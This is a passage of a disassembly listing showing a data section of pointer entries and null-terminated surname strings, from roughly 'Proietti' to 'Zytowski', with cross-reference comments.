offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush_0 ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange_0 ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" off_435248 dd offset aSwindle ; DATA XREF: .nsp0:off_43D9D4o ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle_0 ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite_0 ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee_0 ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: .nsp0:00435480o align 10h aZwiers db 'Zwiers',0 ; DATA XREF: .nsp0:0043547Co align 4 aZurn db 'Zurn',0 ; DATA XREF: .nsp0:00435478o align 10h aZucconi db 'Zucconi',0 ; DATA XREF: .nsp0:00435474o aZoldak db 'Zoldak',0 ; DATA XREF: .nsp0:00435470o align 10h aZerbini db 'Zerbini',0 ; DATA XREF: .nsp0:0043546Co aZegans db 'Zegans',0 ; DATA XREF: .nsp0:00435468o align 10h aZangwill db 'Zangwill',0 ; DATA XREF: .nsp0:00435464o align 4 aZahedi db 'Zahedi',0 ; DATA XREF: .nsp0:00435460o align 4 aZachary db 'Zachary',0 ; DATA XREF: .nsp0:0043545Co aYu db 'Yu',0 ; DATA XREF: .nsp0:00435458o align 10h aYoukSee db 'Youk-See',0 ; DATA XREF: .nsp0:00435454o align 4 aYoo db 'Yoo',0 ; DATA XREF: .nsp0:00435450o aYoffe db 'Yoffe',0 ; DATA XREF: .nsp0:0043544Co align 4 aYetiv db 'Yetiv',0 ; DATA XREF: .nsp0:00435448o align 10h aYesson db 'Yesson',0 ; DATA XREF: .nsp0:00435444o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: .nsp0:00435440o aYbarra db 'Ybarra',0 ; DATA XREF: .nsp0:0043543Co align 4 aYates db 'Yates',0 ; DATA XREF: .nsp0:00435438o align 10h aYarchuk db 'Yarchuk',0 ; DATA XREF: .nsp0:00435434o aYankee_0 db 'Yankee',0 ; DATA XREF: .nsp0:00435430o align 10h aYamane db 'Yamane',0 ; DATA XREF: .nsp0:0043542Co align 4 aYacono db 'Yacono',0 ; DATA XREF: .nsp0:00435428o align 10h aVotey db 'Votey',0 ; DATA XREF: .nsp0:00435424o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: .nsp0:00435420o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .nsp0:0043541Co align 10h aWoods db 'Woods',0 ; DATA XREF: .nsp0:00435418o align 4 aWooden db 'Wooden',0 ; DATA XREF: .nsp0:00435414o align 10h aWoo db 'Woo',0 ; DATA XREF: .nsp0:00435410o aVonhoffman db 'VonHoffman',0 ; DATA XREF: .nsp0:0043540Co align 10h aWolk db 'Wolk',0 ; DATA XREF: .nsp0:00435408o align 4 aVoigt db 'Voigt',0 ; DATA XREF: .nsp0:00435404o align 10h aViviani db 'Viviani',0 ; DATA XREF: .nsp0:00435400o aVitali db 'Vitali',0 ; DATA XREF: .nsp0:004353FCo align 10h aWilson db 'Wilson',0 ; DATA XREF: .nsp0:004353F8o align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: .nsp0:004353F4o aVillarreal db 'Villarreal',0 ; DATA XREF: .nsp0:004353F0o align 10h aWilkinson db 'Wilkinson',0 ; DATA XREF: .nsp0:004353ECo align 4 aWilkin db 'Wilkin',0 ; DATA XREF: .nsp0:004353E8o align 4 aWilk db 'Wilk',0 ; DATA XREF: .nsp0:004353E4o align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: .nsp0:004353E0o aWilder db 'Wilder',0 ; DATA XREF: .nsp0:004353DCo align 4 aVignola db 'Vignola',0 ; DATA XREF: .nsp0:004353D8o aViens db 'Viens',0 ; DATA XREF: .nsp0:004353D4o align 4 aWiener db 'Wiener',0 ; DATA XREF: .nsp0:004353D0o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .nsp0:004353CCo aViano db 'Viano',0 ; DATA XREF: .nsp0:004353C8o align 4 aViana db 'Viana',0 ; DATA XREF: .nsp0:004353C4o align 10h aWhittaker db 'Whittaker',0 ; DATA XREF: .nsp0:004353C0o align 4 aWhitla db 'Whitla',0 ; DATA XREF: .nsp0:004353BCo align 4 aWhite_0 db 'White',0 ; DATA XREF: .nsp0:004353B8o align 4 aWhilton db 'Whilton',0 ; DATA XREF: .nsp0:004353B4o aWhately db 'Whately',0 ; DATA XREF: .nsp0:004353B0o aWetzel db 'Wetzel',0 ; DATA XREF: .nsp0:004353ACo align 4 aWescott db 'Wescott',0 ; DATA XREF: .nsp0:004353A8o aVerghese db 'Verghese',0 ; DATA XREF: .nsp0:004353A4o align 4 aVenne db 'Venne',0 ; DATA XREF: .nsp0:004353A0o align 10h aWengret db 'Wengret',0 ; DATA XREF: .nsp0:0043539Co aWelsh db 'Welsh',0 ; DATA XREF: .nsp0:00435398o align 10h aWelles db 'Welles',0 ; DATA XREF: .nsp0:00435394o align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: .nsp0:00435390o align 4 aWeissman db 'Weissman',0 ; DATA XREF: .nsp0:0043538Co align 10h aWeissbourd db 'Weissbourd',0 ; DATA XREF: .nsp0:00435388o align 4 aWeinhaus db 'Weinhaus',0 ; DATA XREF: .nsp0:00435384o align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: .nsp0:00435380o align 4 aWeighart db 'Weighart',0 ; DATA XREF: .nsp0:0043537Co align 10h aWaugh db 'Waugh',0 ; DATA XREF: .nsp0:00435378o align 4 aVasquez db 'Vasquez',0 ; DATA XREF: .nsp0:00435374o aWasowska db 'Wasowska',0 ; DATA XREF: .nsp0:00435370o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: .nsp0:0043536Co align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .nsp0:00435368o align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: .nsp0:00435364o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: .nsp0:00435360o aVanallen db 'vanAllen',0 ; DATA XREF: .nsp0:0043535Co align 4 aWalter db 'Walter',0 ; DATA XREF: .nsp0:00435358o align 10h aWallenberg db 'Wallenberg',0 ; DATA XREF: .nsp0:00435354o align 4 aWales db 'Wales',0 ; DATA XREF: .nsp0:00435350o align 4 aValencia db 'Valencia',0 ; DATA XREF: .nsp0:0043534Co align 10h aValberg db 'Valberg',0 ; DATA XREF: .nsp0:00435348o aWaite db 'Waite',0 ; DATA XREF: .nsp0:00435344o align 10h aVacca db 'Vacca',0 ; DATA XREF: .nsp0:00435340o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: .nsp0:0043533Co align 10h aUsdan db 'Usdan',0 ; DATA XREF: .nsp0:00435338o align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .nsp0:00435334o align 4 aUrban db 'Urban',0 ; DATA XREF: .nsp0:00435330o align 10h aUpsdell db 'Upsdell',0 ; DATA XREF: .nsp0:0043532Co aUntermeyer db 'Untermeyer',0 ; DATA XREF: .nsp0:00435328o align 4 aUllman db 'Ullman',0 ; DATA XREF: .nsp0:00435324o align 4 aTzamarias db 'Tzamarias',0 ; DATA XREF: .nsp0:00435320o align 4 aTwells db 'Twells',0 ; DATA XREF: .nsp0:0043531Co align 10h aTuttle_0 db 'Tuttle',0 ; DATA XREF: .nsp0:00435318o align 4 aTurek db 'Turek',0 ; DATA XREF: .nsp0:00435314o align 10h aTurano db 'Turano',0 ; DATA XREF: .nsp0:00435310o align 4 aTukan db 'Tukan',0 ; DATA XREF: .nsp0:0043530Co align 10h aTudge db 'Tudge',0 ; DATA XREF: .nsp0:00435308o align 4 aTuck db 'Tuck',0 ; DATA XREF: .nsp0:00435304o align 10h aTsukurov db 'Tsukurov',0 ; DATA XREF: .nsp0:00435300o align 4 aTsomides db 'Tsomides',0 ; DATA XREF: .nsp0:004352FCo align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: .nsp0:004352F8o aTruss db 'Truss',0 ; DATA XREF: .nsp0:004352F4o align 4 aTroy db 'Troy',0 ; DATA XREF: .nsp0:004352F0o align 10h aTroiani db 'Troiani',0 ; DATA XREF: .nsp0:004352ECo aTringali db 'Tringali',0 ; DATA XREF: .nsp0:004352E8o align 4 aTrewin db 'Trewin',0 ; DATA XREF: .nsp0:004352E4o align 4 aTrenga db 'Trenga',0 ; DATA XREF: .nsp0:004352E0o align 4 aTraebert db 'Traebert',0 ; DATA XREF: .nsp0:004352DCo align 10h aToye db 'Toye',0 ; DATA XREF: .nsp0:004352D8o align 4 aTowler db 'Towler',0 ; DATA XREF: .nsp0:004352D4o align 10h aTorske db 'Torske',0 ; DATA XREF: .nsp0:004352D0o align 4 aTorresi db 'Torresi',0 ; DATA XREF: .nsp0:004352CCo aTopulos db 'Topulos',0 ; DATA XREF: .nsp0:004352C8o aToomer db 'Toomer',0 ; DATA XREF: .nsp0:004352C4o align 10h aTomford db 'Tomford',0 ; DATA XREF: .nsp0:004352C0o aTolman db 'Tolman',0 ; DATA XREF: .nsp0:004352BCo align 10h aTolls db 'Tolls',0 ; DATA XREF: .nsp0:004352B8o align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: .nsp0:004352B4o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: .nsp0:004352B0o align 10h aTimmons db 'Timmons',0 ; DATA XREF: .nsp0:004352ACo aTill db 'Till',0 ; DATA XREF: .nsp0:004352A8o align 10h aTierney db 'Tierney',0 ; DATA XREF: .nsp0:004352A4o aThroop db 'Throop',0 ; DATA XREF: .nsp0:004352A0o align 10h aThomsen db 'Thomsen',0 ; DATA XREF: .nsp0:0043529Co aThisted db 'Thisted',0 ; DATA XREF: .nsp0:00435298o aThibault db 'Thibault',0 ; DATA XREF: .nsp0:00435294o align 4 aTheodos db 'Theodos',0 ; DATA XREF: .nsp0:00435290o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .nsp0:0043528Co align 4 aThan db 'Than',0 ; DATA XREF: .nsp0:00435288o align 4 aTerracini db 'Terracini',0 ; DATA XREF: .nsp0:00435284o align 4 aTenney db 'Tenney',0 ; DATA XREF: .nsp0:00435280o align 10h aTemmer db 'Temmer',0 ; DATA XREF: .nsp0:0043527Co align 4 aTemes db 'Temes',0 ; DATA XREF: .nsp0:00435278o align 10h aTeague db 'Teague',0 ; DATA XREF: .nsp0:00435274o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .nsp0:00435270o align 4 aTawn db 'Tawn',0 ; DATA XREF: .nsp0:0043526Co align 4 aTaveras db 'Taveras',0 ; DATA XREF: .nsp0:00435268o aTatar db 'Tatar',0 ; DATA XREF: .nsp0:00435264o align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: .nsp0:00435260o align 4 aTandler db 'Tandler',0 ; DATA XREF: .nsp0:0043525Co aTambiah db 'Tambiah',0 ; DATA XREF: .nsp0:00435258o aTalaugon db 'Talaugon',0 ; DATA XREF: .nsp0:00435254o align 4 aTai db 'Tai',0 ; DATA XREF: .nsp0:00435250o aTagiuri db 'Tagiuri',0 ; DATA XREF: .nsp0:0043524Co aSwindle db 'Swindle',0 ; DATA XREF: .nsp0:off_435248o aSweetser db 'Sweetser',0 ; DATA XREF: .nsp0:00435244o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: .nsp0:00435240o align 10h aSurdam db 'Surdam',0 ; DATA XREF: .nsp0:0043523Co align 4 aSuo db 'Suo',0 ; DATA XREF: .nsp0:00435238o aSumner db 'Sumner',0 ; DATA XREF: .nsp0:00435234o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: .nsp0:00435230o align 10h aStringer db 'Stringer',0 ; DATA XREF: .nsp0:0043522Co align 4 aStreiff db 'Streiff',0 ; DATA XREF: .nsp0:00435228o aStrauch db 'Strauch',0 ; DATA XREF: .nsp0:00435224o aStrange_0 db 'Strange',0 ; DATA XREF: .nsp0:00435220o aStott db 'Stott',0 ; DATA XREF: .nsp0:0043521Co align 4 aStorer db 'Storer',0 ; DATA XREF: .nsp0:00435218o align 4 aStonich db 'Stonich',0 ; DATA XREF: .nsp0:00435214o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .nsp0:00435210o aStockwell db 'Stockwell',0 ; DATA XREF: .nsp0:0043520Co align 4 aStockton db 'Stockton',0 ; DATA XREF: .nsp0:00435208o align 10h aStock db 'Stock',0 ; DATA XREF: .nsp0:00435204o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: .nsp0:00435200o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: .nsp0:004351FCo align 10h aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .nsp0:004351F8o align 10h aStepniewska db 'Stepniewska',0 ; DATA XREF: .nsp0:004351F4o aStephanian db 'Stephanian',0 ; DATA XREF: .nsp0:004351F0o align 4 aSteiner db 'Steiner',0 ; DATA XREF: .nsp0:004351ECo aStefani db 'Stefani',0 ; DATA XREF: .nsp0:004351E8o aStatlender db 'Statlender',0 ; DATA XREF: .nsp0:004351E4o align 4 aStates db 'States',0 ; DATA XREF: .nsp0:004351E0o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .nsp0:004351DCo align 4 aStang db 'Stang',0 ; DATA XREF: .nsp0:004351D8o align 4 aStam db 'Stam',0 ; DATA XREF: .nsp0:004351D4o align 4 aStalvey db 'Stalvey',0 ; DATA XREF: .nsp0:004351D0o aStmartin db 'StMartin',0 ; DATA XREF: .nsp0:004351CCo align 10h aSpinrad db 'Spinrad',0 ; DATA XREF: .nsp0:004351C8o aSpiliotis db 'Spiliotis',0 ; DATA XREF: .nsp0:004351C4o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .nsp0:004351C0o align 4 aSpicer db 'Spicer',0 ; DATA XREF: .nsp0:004351BCo align 4 aSperber db 'Sperber',0 ; DATA XREF: .nsp0:004351B8o aSpence db 'Spence',0 ; DATA XREF: .nsp0:004351B4o align 4 aSpeizer db 'Speizer',0 ; DATA XREF: .nsp0:004351B0o aSpaulding db 'Spaulding',0 ; DATA XREF: .nsp0:004351ACo align 10h aSparrow db 'Sparrow',0 ; DATA XREF: .nsp0:004351A8o aSpanier db 'Spanier',0 ; DATA XREF: .nsp0:004351A4o aSoultanian db 'Soultanian',0 ; DATA XREF: .nsp0:004351A0o align 4 aSoule db 'Soule',0 ; DATA XREF: .nsp0:0043519Co align 4 aSoukup db 'Soukup',0 ; DATA XREF: .nsp0:00435198o align 4 aSottak db 'Sottak',0 ; DATA XREF: .nsp0:00435194o align 4 aSorg db 'Sorg',0 ; DATA XREF: .nsp0:00435190o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: .nsp0:0043518Co align 4 aSommariva db 'Sommariva',0 ; DATA XREF: .nsp0:00435188o align 4 aSomers db 'Somers',0 ; DATA XREF: .nsp0:00435184o align 4 aSolon db 'Solon',0 ; DATA XREF: .nsp0:00435180o align 4 aSocolow db 'Socolow',0 ; DATA XREF: .nsp0:0043517Co aSnodgrass db 'Snodgrass',0 ; DATA XREF: .nsp0:00435178o align 4 aSniffen db 'Sniffen',0 ; DATA XREF: .nsp0:00435174o aSmilow db 'Smilow',0 ; DATA XREF: .nsp0:00435170o align 4 aSlowe db 'Slowe',0 ; DATA XREF: .nsp0:0043516Co align 10h aSloan db 'Sloan',0 ; DATA XREF: .nsp0:00435168o align 4 aSkoda db 'Skoda',0 ; DATA XREF: .nsp0:00435164o align 10h aSkerry db 'Skerry',0 ; DATA XREF: .nsp0:00435160o align 4 aSkane db 'Skane',0 ; DATA XREF: .nsp0:0043515Co align 10h aSites db 'Sites',0 ; DATA XREF: .nsp0:00435158o align 4 aSirilli db 'Sirilli',0 ; DATA XREF: .nsp0:00435154o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .nsp0:00435150o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: .nsp0:0043514Co align 4 aSilverman db 'Silverman',0 ; DATA XREF: .nsp0:00435148o align 4 aSigna db 'Signa',0 ; DATA XREF: .nsp0:00435144o align 4 aSigini db 'Sigini',0 ; DATA XREF: .nsp0:00435140o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: .nsp0:0043513Co aSiesto db 'Siesto',0 ; DATA XREF: .nsp0:00435138o align 4 aShimon db 'Shimon',0 ; DATA XREF: .nsp0:00435134o align 4 aShibata db 'Shibata',0 ; DATA XREF: .nsp0:00435130o aShia db 'Shia',0 ; DATA XREF: .nsp0:0043512Co align 4 aShesko db 'Shesko',0 ; DATA XREF: .nsp0:00435128o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: .nsp0:00435124o align 10h aSheppard db 'Sheppard',0 ; DATA XREF: .nsp0:00435120o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: .nsp0:0043511Co align 4 aSheats db 'Sheats',0 ; DATA XREF: .nsp0:00435118o align 10h aShea db 'Shea',0 ; DATA XREF: .nsp0:00435114o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: .nsp0:00435110o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: .nsp0:0043510Co aShar db 'Shar',0 ; DATA XREF: .nsp0:00435108o align 4 aShanley db 'Shanley',0 ; DATA XREF: .nsp0:00435104o aShankland db 'Shankland',0 ; DATA XREF: .nsp0:00435100o align 4 aShakis db 'Shakis',0 ; DATA XREF: .nsp0:004350FCo align 10h aShaikh db 'Shaikh',0 ; DATA XREF: .nsp0:004350F8o align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: .nsp0:004350F4o aSexton db 'Sexton',0 ; DATA XREF: .nsp0:004350F0o align 4 aSeterdahl db 'Seterdahl',0 ; DATA XREF: .nsp0:004350ECo align 4 aSennett db 'Sennett',0 ; DATA XREF: .nsp0:004350E8o aSen db 'Sen',0 ; DATA XREF: .nsp0:004350E4o aSelvage db 'Selvage',0 ; DATA XREF: .nsp0:004350E0o aSekler db 'Sekler',0 ; DATA XREF: .nsp0:004350DCo align 10h aSegal db 'Segal',0 ; DATA XREF: .nsp0:004350D8o align 4 aSeeber db 'Seeber',0 ; DATA XREF: .nsp0:004350D4o align 10h aSeaton db 'Seaton',0 ; DATA XREF: .nsp0:004350D0o align 4 aScudder db 'Scudder',0 ; DATA XREF: .nsp0:004350CCo aScovel db 'Scovel',0 ; DATA XREF: .nsp0:004350C8o align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: .nsp0:004350C4o aSchwan db 'Schwan',0 ; DATA XREF: .nsp0:004350C0o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: .nsp0:004350BCo align 4 aSchutte db 'Schutte',0 ; DATA XREF: .nsp0:004350B8o aSchuman db 'Schuman',0 ; DATA XREF: .nsp0:004350B4o aSchossberger db 'Schossberger',0 ; DATA XREF: .nsp0:004350B0o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: .nsp0:004350ACo aSchilling db 'Schilling',0 ; DATA XREF: .nsp0:004350A8o align 4 aSchifini db 'Schifini',0 ; DATA XREF: .nsp0:004350A4o align 4 aSchiano db 'Schiano',0 ; DATA XREF: .nsp0:004350A0o aScheiner db 'Scheiner',0 ; DATA XREF: .nsp0:0043509Co align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: .nsp0:00435098o aScharf db 'Scharf',0 ; DATA XREF: .nsp0:00435094o align 10h aScepan db 'Scepan',0 ; DATA XREF: .nsp0:00435090o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: .nsp0:0043508Co align 4 aSayied db 'Sayied',0 ; DATA XREF: 